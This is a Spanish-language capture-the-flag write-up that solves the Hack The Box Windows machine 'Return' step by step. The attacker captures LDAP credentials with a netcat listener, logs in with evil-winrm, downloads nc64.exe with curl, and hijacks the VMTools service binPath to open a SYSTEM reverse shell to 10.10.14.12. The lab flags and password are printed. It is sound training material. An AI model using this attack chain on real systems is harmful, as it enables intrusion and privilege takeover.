Return [EASY🟢]

Dificultad: Fácil

1- Reconocimiento y escaneo

1.1 Ping

ping -c 1 10.10.11.108
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# ping -c 1 10.10.11.108           
PING 10.10.11.108 (10.10.11.108) 56(84) bytes of data.
64 bytes from 10.10.11.108: icmp_seq=1 ttl=127 time=178 ms

--- 10.10.11.108 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 178.324/178.324/178.324/0.000 ms

Podemos notar que se trata de una maquina Windows, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.11.108 -oN escaneo.txt
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.11.108 -oN escaneo.txt    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 23:06 -03
Nmap scan report for 10.10.11.108
Host is up (0.18s latency).
Not shown: 65509 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-13 02:25:16Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
52888/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-03-13T02:26:15
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 18m34s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.78 seconds

Estamos frente a un entorno de directorio activo, donde tenemos los puertos 88(Kerberos), 135(NetBIOS) y 139(RPC), 3268(LDAP), el puerto 80 correspondiente a un servidor web Microsoft IIS 10.0, el puerto 445 correspondiente a un servidor SMB para recursos compartidos y por ultimo y mas interesante, el puerto 5985, por lo que podemos conectarnos mediante "evil-winrm" cuando tengamos credenciales validas, ya que puede que un usuario del directorio activo este dentro del grupo "Remote Management Users"

1.3 whatweb

┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# whatweb 10.10.11.108
http://10.10.11.108 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.108], Microsoft-IIS[10.0], PHP[7.4.13], Script, Title[HTB Printer Admin Panel], X-Powered-By[PHP/7.4.13]
Microsoft IIS 10.0
PHP 7.4.13

Estamos frente a un admin panel de una impresora, que por lo general siempre las impresoras con servicios activados, credenciales, suelen ser la vía de entrada mas común en los atacantes

1.4 crackmapexec

crackmapexec smb 10.10.11.108 
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# crackmapexec smb 10.10.11.108                         
SMB         10.10.11.108    445    PRINTER          [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)

El sistema operativo que esta corriendo sobre la maquina es un Windows Server 2019 en su compilación 17763 de 64 bits, el nombre de la maquina es "PRINTER", el dominio de directorio activo es "return.local", el protocolo SMB esta firmado, y no tiene soporte para SMBv1, ósea utiliza SMBv2

2- Explotación

Vamos a irnos a "Settings" del admin panel de la impresora:

Podemos ver unas posibles credenciales, un subdominio que aparentemente pertenece al entorno de directorio activo("printer.return.local"), y un puerto 389

Usuario: svc-printer
Contraseña: *******

No tenemos la contraseña, ni revisando el código fuente

2.1 Server address panel admin

Como pudimos ver anteriormente, dentro del panel admin, en la sección de "Settings", tenemos un subdominio perteneciente al directorio activo

¿Qué pasaría si nos ponemos en escucha con netcat por el puerto 389 y ponemos nuestra IP de la VPN de Hack The Box en Server Addres?

Probemos:

┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# nc -nlvp 389                                                               
listening on [any] 389 ...

Reemplazamos el subdominio del directorio activo por nuestra IP:

"Update":

Volvemos a la consola donde teniamos netcat en escucha:

┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# nc -nlvp 389                                                               
listening on [any] 389 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.108] 61995
0*`%return\svc-printer�
                       1edFg43012!!

Parece que tenemos una posible "contraseña"

Usuario: svc-printer
Contraseña: 1edFg43012!!

Probemos con crackmapexec si la credencial es valida:

crackmapexec smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# crackmapexec smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB         10.10.11.108    445    PRINTER          [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB         10.10.11.108    445    PRINTER          [+] return.local\svc-printer:1edFg43012!! 
                                                                                                                                
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# 

Las credenciales son validas

2.2 Shell evil-winrm

Ahora probemos si podemos conectarnos mediante "evil-winrm" con estas credenciales con "crackmapexec":

crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB         10.10.11.108    5985   PRINTER          [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
HTTP        10.10.11.108    5985   PRINTER          [*] http://10.10.11.108:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.10.11.108    5985   PRINTER          [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

Parece que si, ahora probemos conectarnos:

evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> 

2.3 Obtención de la flag user

La flag de user se encuentra dentro de la ruta absoluta "C:\Users\svc-printer\Desktop\user.txt", vamos a visualizar la flag:

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> cat C:\Users\svc-printer\Desktop\user.txt
83873c8fa7fd247d5300d04fba3c35b4
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> 

3- Escalado de privilegios

3.1 Servicio VMTools

Vamos a ver los permisos que tenemos con el usuario "svc-printer" con el comando "net user svc-printer":

*Evil-WinRM* PS C:\inetpub> net user svc-printer
User name                    svc-printer
Full Name                    SVCPrinter
Comment                      Service Account for Printer
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            5/26/2021 1:15:13 AM
Password expires             Never
Password changeable          5/27/2021 1:15:13 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   5/26/2021 1:39:29 AM

Logon hours allowed          All

Local Group Memberships      *Print Operators      *Remote Management Use
                             *Server Operators
Global Group memberships     *Domain Users
The command completed successfully.

Parece que estamos dentro del grupo "Server Operators", por lo que podemos realizar muchas cosas, desde eliminar archivos hasta apagar la maquina

Investigando un poco la maquina, me di cuenta que podemos modificar servicios, primero vamos a ver los servicios que estan corriendo dentro de la maquina:

*Evil-WinRM* PS C:\inetpub> services

Path                                                                                                                 Privileges Service          
----                                                                                                                 ---------- -------          
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS             
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys       True MpKslceeb2796    
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost         
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"                                                False Sense            
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller 
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService    
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                                                                        True VMTools          
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe"                                             True WdNisSvc         
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe"                                            True WinDefend        
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                                                                      False WMPNetworkSvc    

*Evil-WinRM* PS C:\inetpub> 

Tenemos un servicio llamado "VMTools", correspondiente a una maquina virtual dentro de la maquina objetivo

"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                                                                        True VMTools  

Podemos modificar este servicio para obtener una reverse shell cambiándole el path por el ejecutable de netcat de Windows, para eso vamos a bajarnos netcat:

Descarga netcat para Windows

Vamos a darle permisos al .ZIP, descomrpimirlo y a entrar dentro de la carpeta que nos extrajo el .ZIP:

┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# chmod 111 netcat-win32-1.11.zip
                                                                                                                                
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# unzip netcat-win32-1.11.zip 
Archive:  netcat-win32-1.11.zip
  inflating: netcat-1.11/doexec.c    
  inflating: netcat-1.11/generic.h   
  inflating: netcat-1.11/getopt.c    
  inflating: netcat-1.11/getopt.h    
  inflating: netcat-1.11/hobbit.txt  
  inflating: netcat-1.11/license.txt  
  inflating: netcat-1.11/Makefile    
  inflating: netcat-1.11/nc.exe      
  inflating: netcat-1.11/nc64.exe    
  inflating: netcat-1.11/netcat.c    
  inflating: netcat-1.11/readme.txt  
                                                                                                                                
┌──(root㉿t0mz)-[/home/kali/ctf/return]
└─# cd netcat-1.11                 
                                                                                                                                
┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# ls    
doexec.c  generic.h  getopt.c  getopt.h  hobbit.txt  license.txt  Makefile  nc64.exe  nc.exe  netcat.c  readme.txt
                                                                                                                                
┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# 

Tenemos la version de netcat de 32 bits(nc.exe) y la version de 64 bits(nc64.exe), en este caso como la maquina objetivo es de 64 bits, vamos a pasarnos el archivo "nc64.exe", para eso abrimos un servidor web Python por el puerto 80:

┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# ls
doexec.c  generic.h  getopt.c  getopt.h  hobbit.txt  license.txt  Makefile  nc64.exe  nc.exe  netcat.c  readme.txt
                                                                                                                                
┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# python3 -m http.server 80                                       
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Volvemos a la shell de "evil-winrm" y nos lo bajamos con curl:

curl 10.10.14.12/nc64.exe -o nc64.exe
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> curl 10.10.14.12/nc64.exe -o nc64.exe
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> dir


    Directory: C:\Users\svc-printer\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/12/2025   8:32 PM          43696 nc64.exe
-ar---        3/12/2025   7:17 PM             34 user.txt


*Evil-WinRM* PS C:\Users\svc-printer\Desktop> 

Y ahora vamos a modificar el path del servicio "VMTools" cambiandolo por netcat, y que cuando se ejecute el servicio, nos de una reverse shell con netcat a nuestro Kali por el puerto 443, para eso utilizaremos el comando:

sc.exe config VMTools binPath="C:\Users\svc-printer\Desktop\nc64.exe -e cmd 10.10.14.12 443"

Para modificar el path o ruta de un servicio, se utiliza el comando "sc", como podemos ver le especifico que quiero configurar el servicio "VMTools", le especifico que quiero configurar del servicio "VMTools", en este caso quiero modificar el path, y luego le especificamos la ruta de netcat diciéndole que nos envié una CMD(Símbolo del sistema) a nuestra IP de VPN de Hack The Box por el puerto 443:

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe config VMTools binPath="C:\Users\svc-printer\Desktop\nc64.exe -e cmd 10.10.14.12 443"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> services

Path                                                                                                                 Privileges Service          
----                                                                                                                 ---------- -------          
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS             
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys       True MpKslceeb2796    
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost         
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"                                                False Sense            
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller 
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService    
C:\Users\svc-printer\Desktop\nc64.exe -e cmd 10.10.14.12 443                                                               True VMTools          
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe"                                             True WdNisSvc         
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe"                                            True WinDefend        
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                                                                      False WMPNetworkSvc    

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> 

Como podemos ver, el servicio "VMTools" se modifico correctamente

C:\Users\svc-printer\Desktop\nc64.exe -e cmd 10.10.14.12 443                                                               True VMTools          

Ahora vamos a ponernos en escucha en Kali, con netcat mediante el puerto 443 o el que le hayamos especificado al path del servicio:

┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# nc -nlvp 443
listening on [any] 443 ...

Ahora vamos a detener el servicio "VMTools":

sc.exe stop VMTools
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe stop VMTools

SERVICE_NAME: VMTools
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> 

Y ahora vamos a iniciar el servicio nuevamente para que se ejecute el servicio que contiene la reverse shell como "Administrator" que nos va a enviar mediante netcat por el puerto 443:

sc.exe start VMTools
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe start VMTools

Se quedara cargando, pero volvamos a la consola donde teniamos netcat en escucha por el puerto 443:

┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.108] 57589
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

3.2 Obtención de la flag root

La flag de root se encuentra dentro de la ruta absoluta "C:\Users\Administrator\Desktop\root.txt", vamos a visualizar la flag:

┌──(root㉿t0mz)-[/home/kali/ctf/return/netcat-1.11]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.108] 57595
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type "C:\Users\Administrator\Desktop\root.txt"
type "C:\Users\Administrator\Desktop\root.txt"
acdbb891871f0606842269f9ae81ef84

C:\Windows\system32>

Con esto, concluimos la maquina "Return" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

Última actualización